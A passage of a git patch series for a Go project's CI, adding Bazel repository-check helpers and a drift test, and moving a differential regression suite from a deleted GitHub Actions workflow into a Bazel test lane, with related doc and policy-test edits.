+scripts/repochecks/testdata/sub/b.sh" +got="$(git ls-files)" +if [[ "$got" != "$want" ]]; then + printf 'git ls-files:\n%s\nwant:\n%s\n' "$got" "$want" >&2 + exit 1 +fi +[[ "$(pwd -P)" == "$(git rev-parse --show-toplevel)" ]] || { echo "not run from the checkout root" >&2; exit 1; } +[[ ! -L scripts/repochecks/testdata/a.txt ]] || { echo "files must be copies, not runfiles symlinks" >&2; exit 1; } +[[ "$PROBE" == /* && "$(cat "$PROBE")" == a ]] || { echo "PROBE=$PROBE is not the absolute runfile" >&2; exit 1; } +echo "run_check.sh: tree, cwd and --env as expected" diff --git a/scripts/repochecks/testdata/skip.md b/scripts/repochecks/testdata/skip.md new file mode 100644 index 000000000..e32e76dd5 --- /dev/null +++ b/scripts/repochecks/testdata/skip.md @@ -0,0 +1 @@ +skip diff --git a/scripts/repochecks/testdata/sub/b.sh b/scripts/repochecks/testdata/sub/b.sh new file mode 100755 index 000000000..c4ced2b4e --- /dev/null +++ b/scripts/repochecks/testdata/sub/b.sh @@ -0,0 +1,2 @@ +#!/bin/sh +echo b diff --git a/scripts/repochecks/testdata/sub/deep/c.sh b/scripts/repochecks/testdata/sub/deep/c.sh new file mode 100755 index 000000000..ca5ed2595 --- /dev/null +++ b/scripts/repochecks/testdata/sub/deep/c.sh @@ -0,0 +1,2 @@ +#!/bin/sh +echo c diff --git a/scripts/repochecks/types_gen_drift_test.sh b/scripts/repochecks/types_gen_drift_test.sh new file mode 100755 index 000000000..0f72d15f6 --- /dev/null +++ b/scripts/repochecks/types_gen_drift_test.sh @@ -0,0 +1,41 @@ +#!/usr/bin/env bash +# types_gen_drift_test.sh: `make api-check`'s drift half under Bazel. Regenerate +# types.gen.go from the spec as doc.go's `go generate` does, and fail with the +# diff when the committed copy is stale. Inputs are rlocation paths (BUILD +# env): COMMITTED, SPEC, GO_MOD, OAPI_CODEGEN and GO. +set -euo pipefail + +r="${TEST_SRCDIR:?}" +work="${TEST_TMPDIR:?}/apigen" +rm -rf "$work" +mkdir -p "$work" + +# The Bazel-built oapi-codegen has no module build info, so its "Code +# generated by" header names an unknown version; `go tool oapi-codegen` names +# go.mod's. +version=$(awk '$1 == "github.com/oapi-codegen/oapi-codegen/v2" { print $2; exit }' "$r/$GO_MOD") +if [[ -z "$version" ]]; then + echo "go.mod does not require github.com/oapi-codegen/oapi-codegen/v2" >&2 + exit 1 +fi + +# oapi-codegen formats its output with golang.org/x/tools/imports, which runs +# `go env`: the registered SDK, outside any module, with a private, empty +# module cache and no network. +( + cd "$work" + PATH="$(dirname "$r/$GO"):$PATH" HOME="$work" GOPATH="$work/gopath" \ + GOMODCACHE="$work/gopath/pkg/mod" GOCACHE="$work/gocache" GOENV=off \ + GOFLAGS='' GOTOOLCHAIN=local GOPROXY=off \ + "$r/$OAPI_CODEGEN" -generate types,skip-prune -package apigen \ + -o "$work/types.raw.go" "$r/$SPEC" +) +sed "s|^// Code generated by unknown module path version unknown version DO NOT EDIT[.]$|// Code generated by github.com/oapi-codegen/oapi-codegen/v2 version $version DO NOT EDIT.|" \ + "$work/types.raw.go" >"$work/types.gen.go" + +if ! diff -u "$r/$COMMITTED" "$work/types.gen.go"; then + echo "openapi drift: internal/httpapi/apigen/types.gen.go is stale for the current spec (regenerating it changed it)." + echo "run 'make api-gen' and commit the result." + exit 1 +fi +echo "internal/httpapi/apigen/types.gen.go matches internal/httpapi/spec/openapi.v0.yaml (oapi-codegen $version)" diff --git a/tools/bazel/check_testcases.py b/tools/bazel/check_testcases.py index 0b89ee2ad..10cabcc35 100755 --- a/tools/bazel/check_testcases.py +++ b/tools/bazel/check_testcases.py @@ -18,7 +18,9 @@ target's test.xml, and every shard's, to list at least one top-level as //tools/bazel:dolt_version_test, whose test.xml Bazel writes with no Go testcases) from the count. The label must still be in the BEP: an exemption for a target the run did not test is an error, so a stale one -cannot linger. +cannot linger. //pkg:all exempts every test in that package (one that holds +only non-Go tests, such as //scripts/repochecks), and must match at least one +tested target. Exit status: 0 if every test.xml lists a test, 1 otherwise (including a BEP with no test results at all). @@ -48,10 +50,16 @@ def check(tested, testlogs, not_go=()): counts, problems = [], [] if not tested: problems.append("the BEP lists no test results") - for label in sorted(set(not_go) - set(tested)): - problems.append(f"{label}: --not-go, but the BEP has no result for it") + def exempt(label, entry): + if entry.endswith(":all"): + return label.split(":", 1)[0] == entry[: -len(":all")] + return label == entry + + for entry in sorted(set(not_go)): + if not any(exempt(label, entry) for label in tested): + problems.append(f"{entry}: --not-go, but the BEP has no result for it") for label, shards in sorted(tested.items()): - if label in not_go: + if any(exempt(label, entry) for entry in not_go): continue for xml_path in testlog_xmls(testlogs, label, shards): rel = os.path.relpath(xml_path, testlogs) diff --git a/tools/bazel/go_srcs.py b/tools/bazel/go_srcs.py index c06af7cfa..efb0cc977 100755 --- a/tools/bazel/go_srcs.py +++ b/tools/bazel/go_srcs.py @@ -133,6 +133,7 @@ ROOT_REPO_FILES_EXCLUDE = ( # Who may read //:repo_files: the repository-policy tests. REPO_FILES_VISIBILITY = ( "//scripts:__pkg__", + "//scripts/repochecks:__pkg__", "//test/docsync:__pkg__", ) diff --git a/tools/bazel/repo_subset.bzl b/tools/bazel/repo_subset.bzl new file mode 100644 index 000000000..882a98e85 --- /dev/null +++ b/tools/bazel/repo_subset.bzl @@ -0,0 +1,87 @@ +"""repo_subset: a narrow, path-selected slice of the checkout as test data. + +Repository guards (scripts/check-*.sh) read the tracked tree. Declaring all +of //:repo_files as their data would key every one of them to every file in +the repository, so an edit to any Markdown file re-runs the gofmt guard. +repo_subset selects, at analysis time, only the files a guard reads: the +test's action key then covers exactly those files. + +Patterns match a file's repository-relative path: + + "**/*.ext" the suffix, at any depth ("**/*.sh") + "dir/**" everything below dir + "dir/*.ext" files directly in dir with that suffix ("" dir: the root) + "path" exactly that file + +Every pattern must match at least one file, so a renamed input fails the +build loudly instead of letting the guard pass over an empty tree. + +The rule also writes a manifest, one " " line per +file, which scripts/repochecks/run_check.sh uses to lay the slice out as a +throwaway git checkout. `tree_prefix` places files from another repository +(e.g. @beads_formulas) at their checkout path. +""" + +def _matches(path, pattern): + if pattern.startswith("**/*"): + return path.endswith(pattern[len("**/*"):]) + if pattern.endswith("/**"): + return path.startswith(pattern[:-len("**")]) + if "*" in pattern: + prefix, suffix = pattern.split("*", 1) + if not (path.startswith(prefix) and path.endswith(suffix)): + return False + middle = path[len(prefix):len(path) - len(suffix)] + return "/" not in middle and len(path) >= len(prefix) + len(suffix) + return path == pattern + +def _rel(f): + """f's path within its own repository.""" + if f.short_path.startswith("../"): + return f.short_path[len("../"):].split("/", 1)[1] + return f.short_path + +def _rlocation(ctx, f): + """f's runfiles path (what $(rlocationpath) would give).""" + if f.short_path.startswith("../"): + return f.short_path[len("../"):] + return ctx.workspace_name + "/" + f.short_path + +def _repo_subset_impl(ctx): + files = ctx.files.srcs + picked = [] + unmatched = list(ctx.attr.include) + for f in files: + rel = _rel(f) + if any([_matches(rel, p) for p in ctx.attr.exclude]): + continue + hit = False + for p in ctx.attr.include: + if _matches(rel, p): + hit = True + if p in unmatched: + unmatched.remove(p) + if hit: + picked.append(f) + if unmatched: + fail("repo_subset %s: no file matches %s" % (ctx.label, unmatched)) + + lines = [] + for f in picked: + lines.append("%s%s %s" % (ctx.attr.tree_prefix, _rel(f), _rlocation(ctx, f))) + manifest = ctx.actions.declare_file(ctx.label.name + ".manifest") + ctx.actions.write(manifest, "\n".join(sorted(lines)) + "\n") + return [DefaultInfo( + files = depset([manifest]), + runfiles = ctx.runfiles(files = picked + [manifest]), + )] + +repo_subset = rule( + implementation = _repo_subset_impl, + attrs = { + "srcs": attr.label_list(allow_files = True, mandatory = True), + "include": attr.string_list(mandatory = True), + "exclude": attr.string_list(), + "tree_prefix": attr.string(doc = "Prepended to every file's checkout path."), + }, +) From 9a91f0629ec10c3a2ddd948441178fdd9b025eb6 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 01:41:12 +0000 Subject: [PATCH 138/325] ci(bazel): run the differential regression suite under Bazel; retire regression.yml (#7324) regression.yml ran `go test -tags=regression ./tests/regression/...` on a GitHub runner: it built the candidate with `go build`, downloaded the v0.49.6 baseline release over the network, and pulled the dolt-sql-server image. None of that works on rbe-west workers (no network for fork lanes, no docker). - tools/bazel/bd_releases.bzl: a module extension that reads scripts/migration-test/release-catalog.json and declares one repository per catalog release with a linux_amd64 asset digest (bd_release_, verified against the catalog's sha256), behind the @bd_releases hub (@bd_releases//:, plus versions.bzl). Adding a release is a catalog change only; nothing downloads until a test declares one. - //tests/regression:regression_test: the suite's files build under `regression || integration`, so gazelle generates the target. It runs the injected non-race bd_for_tests (BEADS_TEST_BD_BINARY) against @bd_releases//:v0.49.6 (BD_REGRESSION_BASELINE_BIN), both over a hermetic dolt sql-server (BEADS_TEST_DOLT_SERVER=local, required), in 8 shards. TestMain checks the baseline reports BASELINE_VERSION, so the label and the file cannot drift. Tagged dolt-server-cmd: bazel.yml's bazel-cmd-dolt lane, which pr.yml's gate requires, runs it remotely; test result caching stands in for the old path detector. - A plain `go test -tags=integration ./...` (nightly) compiles the files but skips the suite; only -tags=regression (make test-regression) or Bazel runs it. - regression.yml, main.yml's warm-up compile for it and the policy tests that pinned its jobs are removed. Refs: ga-96smfk.19 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 4 +- .github/workflows/bazel.yml | 9 +- .github/workflows/main.yml | 3 - .github/workflows/regression.yml | 177 ----------------------- BUILD.bazel | 1 + MODULE.bazel | 8 ++ cmd/bd/BUILD.bazel | 1 + engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 38 +++-- engdocs/CI_TEST_SURFACE_AUDIT.md | 2 +- engdocs/ICU-POLICY.md | 2 +- scripts/ci_f7c_advisory_test.go | 179 +----------------------- scripts/ci_workflow_test.go | 9 +- scripts/pull_dolt_image_test.go | 5 +- tests/regression/BUILD.bazel | 71 ++++++++++ tests/regression/regression_tag_test.go | 8 ++ tests/regression/regression_test.go | 91 ++++++++++-- tests/regression/scenarios_test.go | 2 +- tools/bazel/bd_releases.bzl | 141 +++++++++++++++++++ 18 files changed, 345 insertions(+), 406 deletions(-) delete mode 100644 .github/workflows/regression.yml create mode 100644 tests/regression/BUILD.bazel create mode 100644 tests/regression/regression_tag_test.go create mode 100644 tools/bazel/bd_releases.bzl diff --git a/.bazelrc b/.bazelrc index 705245c2b..e298cc59b 100644 --- a/.bazelrc +++ b/.bazelrc @@ -216,7 +216,9 @@ test:doltserver-integration --experimental_remote_cache_eviction_retries=0 # tag), the whole integration-tagged cmd/bd suite against a hermetic dolt # sql-server, i.e. the Dolt-gated cmd/bd tests every other lane skips # (BEADS_TEST_SKIP=dolt in --config=prcore/ci and --config=integration, and -# in nightly.yml's go test job). The build flags are exactly +# in nightly.yml's go test job), and //tests/regression:regression_test +# (the differential regression suite, formerly regression.yml, against the +# catalog-pinned baseline in @bd_releases). The build flags are exactly # --config=integration's, so it compiles nothing bazel-integration does not # (shared through the remote cache). bazel.yml runs it where it runs the # integration lane (remote, or with the read-only cache in mode cache), in a diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 772ce64f3..6a8c8e381 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1724,9 +1724,12 @@ jobs: # shards) against a hermetic dolt sql-server, i.e. the Dolt-gated cmd/bd # tests (TestCLI_*, TestInit*, the store-backed suites) that every other # lane and legacy job skips with BEADS_TEST_SKIP=dolt or leaves out of its - # manifest. --config=doltserver-cmd has exactly --config=integration's - # build flags, so it shares bazel-integration's compile through the - # remote cache. Runs exactly where bazel-integration runs (the same if): + # manifest; plus the differential regression suite + # (//tests/regression:regression_test, 8 shards: the candidate + # bd_for_tests against the catalog-pinned v0.49.6 release, formerly + # regression.yml). --config=doltserver-cmd has exactly + # --config=integration's build flags, so it shares bazel-integration's + # compile through the remote cache. Runs exactly where bazel-integration runs (the same if): # remotely (modes remote, fork-ro, fork-rw), or locally with the # read-only cache (mode cache: fork and Dependabot PRs while rbe-fork is # closed), never plain local (rbe=off), and not when a caller passes diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index c0b5cff73..2ad147015 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -1163,9 +1163,6 @@ jobs: - name: Build bd run: make build - - name: Compile regression tests - run: go test -c -tags regression,gms_pure_go ./tests/regression - # Always save (even if a warm-up step above failed) under a fresh, # commit-specific key: the content is still a valid, newer GOCACHE/ # GOMODCACHE snapshot than whatever was restored, and `cache/save` is a diff --git a/.github/workflows/regression.yml b/.github/workflows/regression.yml deleted file mode 100644 index 52c03931f..000000000 --- a/.github/workflows/regression.yml +++ /dev/null @@ -1,177 +0,0 @@ -name: Regression Tests - -on: - # Run on merges to main - push: - branches: [main] - pull_request: - branches: [main, 'release/**', 'hotfix/**'] - # Allow manual trigger - workflow_dispatch: - -env: - BD_DISABLE_METRICS: "1" - BD_DISABLE_EVENT_FLUSH: "1" - -jobs: - regression: - name: Differential Regression (v0.49.6 baseline) - # F7c: detect-regression-need folded in as this job's own first step - # (id: detect). A non-applicable PR now costs one short Blacksmith-sized - # job instead of two GitHub-hosted jobs; every later step is gated on - # steps.detect.outputs.run_regression instead of a separate job's output. - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 45 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Decide whether to run differential regression tests - id: detect - env: - EVENT_NAME: ${{ github.event_name }} - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} - run: | - set -euo pipefail - - if [[ "$EVENT_NAME" != "pull_request" ]]; then - echo "run_regression=true" >> "$GITHUB_OUTPUT" - echo "reason=$EVENT_NAME event always runs regression tests" >> "$GITHUB_OUTPUT" - exit 0 - fi - - labels="$(jq -r '.pull_request.labels[].name // empty' "$GITHUB_EVENT_PATH")" - if grep -Fxq "run-regression" <<<"$labels"; then - echo "run_regression=true" >> "$GITHUB_OUTPUT" - echo "reason=run-regression label present" >> "$GITHUB_OUTPUT" - exit 0 - fi - if grep -Fxq "skip-regression" <<<"$labels"; then - echo "run_regression=false" >> "$GITHUB_OUTPUT" - echo "reason=skip-regression label present" >> "$GITHUB_OUTPUT" - exit 0 - fi - - changed="$(git diff --name-only "$PR_BASE_SHA" "$PR_HEAD_SHA")" - echo "Changed files:" - printf '%s\n' "$changed" - - regression_candidates="$( - printf '%s\n' "$changed" | - grep -Ev '^(cmd/bd|internal/storage|internal/types)/.*_test\.go$' || - true - )" - - risky_pattern='^(\.github/workflows/regression\.yml|Makefile|go\.(mod|sum)|cmd/bd/|internal/storage/|internal/types/|tests/regression/)' - if grep -Eq "$risky_pattern" <<<"$regression_candidates"; then - echo "run_regression=true" >> "$GITHUB_OUTPUT" - echo "reason=PR changes CLI, storage, types, regression, or build inputs" >> "$GITHUB_OUTPUT" - exit 0 - fi - - echo "run_regression=false" >> "$GITHUB_OUTPUT" - echo "reason=PR does not touch regression-sensitive paths" >> "$GITHUB_OUTPUT" - - - name: Show regression trigger reason - if: steps.detect.outputs.run_regression == 'true' - run: echo "${{ steps.detect.outputs.reason }}" - - - name: Set up Go - id: setup-go - if: steps.detect.outputs.run_regression == 'true' - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: ${{ runner.environment == 'github-hosted' }} - - # F7c review fix S5: this job's own key copy must match main.yml's - # seeder key byte-for-byte (TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers), - # which now keys by UTC calendar day instead of github.sha so main - # pushes don't churn a multi-GB cache entry on every commit; this step - # computes that same day value locally so the key expression below - # resolves (steps.* references only resolve within the same job). - - name: Compute cache date - id: cache-date - if: steps.detect.outputs.run_regression == 'true' && runner.environment == 'self-hosted' - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - if: steps.detect.outputs.run_regression == 'true' && runner.environment == 'self-hosted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v5 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Configure Git - if: steps.detect.outputs.run_regression == 'true' - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Install Dolt - if: steps.detect.outputs.run_regression == 'true' - run: ./scripts/ci/install-dolt.sh - - - name: Configure Dolt - if: steps.detect.outputs.run_regression == 'true' - run: | - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - dolt version - - - name: Pull Dolt sql-server image - # Without this, isDoltImageCached() returns false in TestMain and the - # regression suite falls back to embedded Dolt with HOME=, which - # has a known cleanup race (see beads issue: TestCreateWithParentFlag - # TempDir RemoveAll "directory not empty" flake). Keep the tag in sync - # with internal/testutil/testdoltcommon.go:DoltDockerImage. - if: steps.detect.outputs.run_regression == 'true' - run: ./scripts/ci/pull-dolt-image.sh - - # Restore-only: actions/cache (bare) auto-saves on any key miss, which - # would let a same-repo PR that bumps BASELINE_VERSION write a baseline - # binary cache entry a later PR or main could read back unverified. The - # matching save below only runs off pull_request (B2, F7c implementation - # report). - - name: Restore baseline binary cache - if: steps.detect.outputs.run_regression == 'true' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v5 - with: - path: ~/.cache/beads-regression - key: regression-baseline-${{ hashFiles('tests/regression/BASELINE_VERSION') }} - - # Passing-side wall time already overlapped the go deadline below, so - # ordinary GitHub-runner speed variance -- not a real hang -- was - # tripping this step. Measured over the 100 most recent Regression - # Tests runs (2026-09-03/04, ~29.5h): p50 593s (~10m), max passing - # 1189s (~19.8m) against the prior 1200s (20m) cap, and 5 runs in that - # window hit the identical `panic: test timed out after 20m0s` with - # zero `--- FAIL` lines -- a budget defect, not a regression. Match - # main.yml's Test job fix for the same failure mode: raise the go - # deadline to cover the observed slowdown and keep it inside a larger - # finite job budget (see timeout-minutes above), so the go deadline - # fires first and prints goroutine stacks -- a REAL hang stays - # diagnosable instead of being cut off by a bare job kill. - - name: Run regression tests - if: steps.detect.outputs.run_regression == 'true' - run: go test -tags=regression,gms_pure_go -timeout=40m -v ./tests/regression/... - - - name: Save baseline binary cache - # Allow-list push/workflow_dispatch rather than deny-list - # pull_request: a deny-list also admits a hypothetical future - # merge_group event, which this job's runs-on expression already - # resolves to Blacksmith for. Pinned by - # TestBlacksmithReachableAdvisoryJobsNeverSaveACache (checks both the - # pull_request and merge_group trust contexts independently). - if: steps.detect.outputs.run_regression == 'true' && (github.event_name == 'push' || github.event_name == 'workflow_dispatch') - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v5 - with: - path: ~/.cache/beads-regression - key: regression-baseline-${{ hashFiles('tests/regression/BASELINE_VERSION') }} diff --git a/BUILD.bazel b/BUILD.bazel index 752091059..c03faf804 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -374,6 +374,7 @@ filegroup( "//test/conformance:repo_files", "//test/docsync:repo_files", "//test/testmainconvention:repo_files", + "//tests/regression:repo_files", "//third_party/cc_toolchain:repo_files", "//third_party/patches:repo_files", "//tools/bazel:repo_files", diff --git a/MODULE.bazel b/MODULE.bazel index 079f91640..d0e1a2d3f 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -238,3 +238,11 @@ new_local_repository( """, path = ".beads/formulas", ) + +# Historical bd releases for the regression, migration and cross-version +# suites (tools/bazel/bd_releases.bzl): one repository per release in the +# release catalog that records a linux_amd64 asset digest, behind the +# @bd_releases hub. Adding a release is a catalog change only. +bd_releases = use_extension("//tools/bazel:bd_releases.bzl", "bd_releases") +bd_releases.catalog(path = "//scripts:migration-test/release-catalog.json") +use_repo(bd_releases, "bd_releases") diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 9c4e304f5..c7f630716 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -495,6 +495,7 @@ go_binary( "//internal/beads:__pkg__", "//internal/storage/uow:__pkg__", "//test/conformance:__pkg__", + "//tests/regression:__pkg__", ], ) diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 08615789b..e1d25ed7b 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -151,10 +151,12 @@ Current PR-related workflow names: Runs on pushes to `main`. Contains the main branch health checks, package gates, platform smoke/short coverage, embedded Dolt coverage, and promoted Linux no-short integration shards. -- `.github/workflows/regression.yml`: `Regression Tests` - Runs on `pull_request`, `push` to `main`, and manual dispatch. Does not - currently run on `merge_group`. Uses job-level conditional regression - execution. +- The differential regression suite (`tests/regression`, formerly + `regression.yml`) is `//tests/regression:regression_test`, tagged + `dolt-server-cmd`, so `bazel.yml`'s `bazel-cmd-dolt` lane runs it on every + PR, merge group and push to `main` (results cached until its inputs + change), against the catalog-pinned `@bd_releases//:v0.49.6` baseline and + a hermetic dolt sql-server. - `.github/workflows/cross-version-smoke.yml`: `Cross-Version Smoke Tests` Runs on every PR to `main`, tag pushes, and manual dispatch. Does not currently run on `merge_group`. @@ -337,8 +339,7 @@ PR. It runs in the default branch's cache scope, which `push` runs on binaries); - the `beads-go-build-v2-*` GOCACHE entries restored by `main.yml` and `pr.yml`; - - the executables in `smoke-binaries-*`, `historical-dolt-*` and - `regression-baseline-*`. + - the executables in `smoke-binaries-*` and `historical-dolt-*`. GitHub's read-only default covers all of them. Hardening `release.yml` with `cache: false` is tracked separately. @@ -659,7 +660,6 @@ Do not require these existing check names directly: - `Test (Windows - smoke)` - `PR Lint (native)`, `PR Lint (windows)` and `PR Lint (darwin)` - `Test Nix Flake` -- `Differential Regression (v0.49.6 baseline)` - `Upgrade smoke (chunk N)` (F7c: folded from one job per version into one job per 5-version chunk; still never require a matrix-expanded chunk job directly) @@ -1357,20 +1357,16 @@ tier down in the same workflow: ### Regression Tests -`Regression Tests` can stay visible as a non-required workflow. If regression -becomes branch-protection relevant, do not require -`Differential Regression (v0.49.6 baseline)` directly. - -Use one of these narrow changes instead: - -1. Move the regression detector and regression job into the required PR - topology, wire them into the relevant aggregate gate, and add `merge_group` - behavior that defaults to running regression. -2. Keep `regression.yml` separate, remove any workflow-level skip filters, add - `merge_group`, add a final `Regression Gate / Informational` aggregate, and - leave it non-required unless branch protection is intentionally expanded. - -The preferred required-check topology keeps only aggregate gates required. +`regression.yml` is retired. The suite runs as +`//tests/regression:regression_test` (8 shards) in `bazel.yml`'s +`bazel-cmd-dolt` lane, which `pr.yml`'s `CI Gate / Required` requires +(`BAZEL_CMD_DOLT_REQUIRED`), so regression is now part of the aggregate gate +on PRs and merge groups instead of a separate, path-detected advisory +workflow. Its path detector is replaced by test result caching: the target +re-runs only when `bd_for_tests`, the suite or its pinned inputs change. The +baseline is `@bd_releases//:` (`tools/bazel/bd_releases.bzl`, +pinned by `scripts/migration-test/release-catalog.json`); `TestMain` fails if +the binary does not report `BASELINE_VERSION`. ### Nix Build diff --git a/engdocs/CI_TEST_SURFACE_AUDIT.md b/engdocs/CI_TEST_SURFACE_AUDIT.md index fee86d199..5936cf71e 100644 --- a/engdocs/CI_TEST_SURFACE_AUDIT.md +++ b/engdocs/CI_TEST_SURFACE_AUDIT.md @@ -199,7 +199,7 @@ Key jobs preserved by display name: | Workflow | Triggers | Main validation | |---|---|---| -| `regression.yml` | Push to `main`, PR to `main`, manual | Detector runs regression on push/manual, PR label `run-regression`, or risky paths; test command is `go test -tags=regression,gms_pure_go -timeout=20m -v ./tests/regression/...`. | +| `bazel.yml` `bazel-cmd-dolt` (formerly `regression.yml`) | PR, merge group, push to `main` | `//tests/regression:regression_test` (8 shards, cached until its inputs change) against the catalog-pinned v0.49.6 baseline; local entrypoint stays `make test-regression`. | | `cross-version-smoke.yml` | Tags, PRs, manual | PRs test latest 5 releases, tags test latest 30, via `scripts/upgrade-smoke-test.sh`. | | `migration-test.yml` | Tags, PRs touching upgrade-relevant code (advisory, path-filtered), manual | Builds candidate once per shard (3 shards, folded from 14 per-version legs, F7c) and loops `scripts/migration-test/run.sh --version` over each shard's versions; not a required PR/main gate. | | `nightly.yml` | Daily schedule, manual | `go test -v -race -tags=integration,gms_pure_go -coverprofile=coverage.out -timeout=30m ./...` with `BEADS_TEST_SKIP=dolt`; checks coverage >= 30%. | diff --git a/engdocs/ICU-POLICY.md b/engdocs/ICU-POLICY.md index 487541077..a8ef447f4 100644 --- a/engdocs/ICU-POLICY.md +++ b/engdocs/ICU-POLICY.md @@ -58,7 +58,7 @@ Every build path that produces a binary for users must include `-tags gms_pure_g | Migration tests | `.github/workflows/migration-test.yml` | | Nightly tests | `.github/workflows/nightly.yml` | | Cross-version smoke | `.github/workflows/cross-version-smoke.yml` | -| Regression tests | `.github/workflows/regression.yml` | +| Regression tests | `//tests/regression:regression_test` (Bazel, `bazel.yml` `bazel-cmd-dolt`) | ### Canonical pattern: source `.buildflags` diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 8b20298fa..5f193ae29 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -694,7 +694,6 @@ func TestCrossVersionSmokeChunksEveryResolvedVersion(t *testing.T) { // blacksmithAdvisoryWorkflows are every workflow file F7c moved a job onto a // same-repo-PR (or push-only, for main.yml's seed) Blacksmith runner. var blacksmithAdvisoryWorkflows = []string{ - "regression.yml", "migration-test.yml", "cross-version-smoke.yml", "docs-mintlify.yml", @@ -750,7 +749,6 @@ var advisoryBlacksmithRunnerJobs = []struct { blacksmithLabel string fallback string }{ - {"regression.yml", "regression", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"migration-test.yml", "historical-upgrades", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-24.04"}, {"cross-version-smoke.yml", "smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"cross-version-smoke.yml", "versions", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, @@ -820,7 +818,6 @@ func TestF7cAdvisorySameRepoBlacksmithExpressionSemantics(t *testing.T) { // self-defined `blacksmith-sg-v1-` setup-go cache main.yml's // blacksmith-setup-go-cache job seeds (B2, F7c implementation report). var blacksmithSetupGoCacheConsumers = map[string][]string{ - "regression.yml": {"regression"}, "migration-test.yml": {"historical-upgrades"}, "cross-version-smoke.yml": {"smoke"}, } @@ -886,7 +883,6 @@ func TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers(t *testing.T) { wantWarmups := []string{ "make build", - "go test -c -tags regression,gms_pure_go ./tests/regression", } for _, want := range wantWarmups { found := false @@ -1161,13 +1157,12 @@ var advisoryBinaryCaches = []struct { wantSaveIf string }{ {"cross-version-smoke.yml", "smoke", "Restore previous release binaries cache", "Save previous release binaries cache", "smoke-binaries-", "github.event_name == 'push' || github.event_name == 'workflow_dispatch'"}, - {"regression.yml", "regression", "Restore baseline binary cache", "Save baseline binary cache", "regression-baseline-", "steps.detect.outputs.run_regression == 'true' && (github.event_name == 'push' || github.event_name == 'workflow_dispatch')"}, {"migration-test.yml", "historical-upgrades", "Restore pinned historical release cache", "Save pinned historical release cache", "historical-dolt-", "github.event_name == 'push' || github.event_name == 'workflow_dispatch'"}, } // TestAdvisoryBinaryCachesAreRestoreAlwaysSavePRGated pins the restore/save // split itself (F7c review fix B2): the restore step always runs (modulo the -// job's own pre-existing gate, e.g. regression's run_regression detection), +// job's own pre-existing gate, if any), // the save step additionally requires an exact allow-list of // `github.event_name == 'push' || github.event_name == 'workflow_dispatch'` // (F7c review fix, discovered via the S2 sweep: a deny-list of @@ -1211,178 +1206,6 @@ func TestAdvisoryBinaryCachesAreRestoreAlwaysSavePRGated(t *testing.T) { } } -// TestRegressionStepsAfterDetectAreGated pins that every step after -// regression.yml's "Decide whether to run differential regression tests" -// (id: detect) stays gated on steps.detect.outputs.run_regression == 'true' -// (F7c review fix S1, closes an "ungated regression step" mutation): the -// fold that moved detect-regression-need into this job's own first step -// means a single dropped `if:` would make an inapplicable PR silently pay -// for (or worse, run) the rest of the job instead of skipping it. -func TestRegressionStepsAfterDetectAreGated(t *testing.T) { - job := readCIWorkflow(t, "regression.yml").job(t, "regression") - detectIndex := job.stepIndex(t, "Decide whether to run differential regression tests") - const want = "steps.detect.outputs.run_regression == 'true'" - for _, step := range job.Steps[detectIndex+1:] { - if !strings.Contains(step.If, want) { - t.Errorf("regression.yml step %q has if=%q, want it to contain %q", step.Name, step.If, want) - } - } -} - -// TestRegressionDetectStepBehavioral runs regression.yml's "Decide whether to -// run differential regression tests" (id: detect) step for real, the same -// way TestMigrationHarnessLoopExecutesBehaviorally exercises the migration -// loop (F7c review fix S1, closes mutation M13: a detect step 